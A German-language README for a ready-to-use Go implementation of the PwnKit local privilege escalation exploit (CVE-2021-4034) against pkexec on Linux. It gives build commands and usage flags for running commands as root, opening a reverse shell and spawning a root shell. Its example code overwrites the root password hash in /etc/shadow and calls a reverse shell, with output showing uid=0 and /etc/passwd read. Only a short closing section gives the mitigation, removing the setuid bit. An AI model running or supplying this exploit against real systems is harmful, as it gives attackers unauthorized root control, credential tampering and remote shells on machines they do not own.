
Go-Implementierung des PwnKit Linux Local Privilege Escalation Exploits (CVE-2021-4034)
Eine reine Go-Implementierung des CVE-2021-4034 PwnKit-Exploits.
Der Exploit verwendet syscall.ForkExec, um das Ende des Hauptprogramms zu überleben.
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
Da der Exploit auf einer bösartigen gemeinsam genutzten Bibliothek basiert, wird eine PWN.so-Datei aus payload.go generiert und in das resultierende exploit-Programm eingebettet.
Das Makefile verwendet sed, um den Paketnamen der payload.go-Datei vorübergehend in main zu ändern, wodurch dieses Makefile nur unter Linux funktioniert.
Da das Go-Payload nicht so zuverlässig ist wie das C-Payload, kompiliert das Makefile den Exploit standardmäßig mit dem C-Payload. Sie können wahlweise mit dem Go-Payload kompilieren, indem Sie make build_go verwenden.
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
Der Exploit kann entweder mit einem Befehl (-c), als Reverse-Shell (-r) oder zum Starten einer Root-Shell (-s) verwendet werden.
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
Beachten Sie, dass Command und RevShell syscall.ForkExec verwenden, um den Exploit auszuführen. Die resultierenden Prozesse sind daher vom Hauptprogramm getrennt und überleben dessen Ende.
Obwohl go-PwnKit von Github in Ihr Projekt importiert werden kann, vergessen Sie nicht, dass Sie eine nicht vertrauenswürdige gemeinsam genutzte Bibliothek als Root ausführen. Die Verwendung einer lokal kompilierten PWN.so wird daher dringend empfohlen. Nur so nebenbei 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
Patchen Sie pkexec wenn möglich, andernfalls entfernen Sie das setuid-Bit auf der pkexec-Binärdatei.
chmod 0755 /usr/bin/pkexec
Dieses Projekt ist von mehreren anderen PoCs des PwnKit-Exploits inspiriert.
Dank an An00bRektn für das unkomplizierte Exploit-Setup.
Dank an PaterGottesman und berdav für die Klarheit der Exploit-Erklärung.
Dank an dzonerzy für den GIO_USE_VFS-Trick.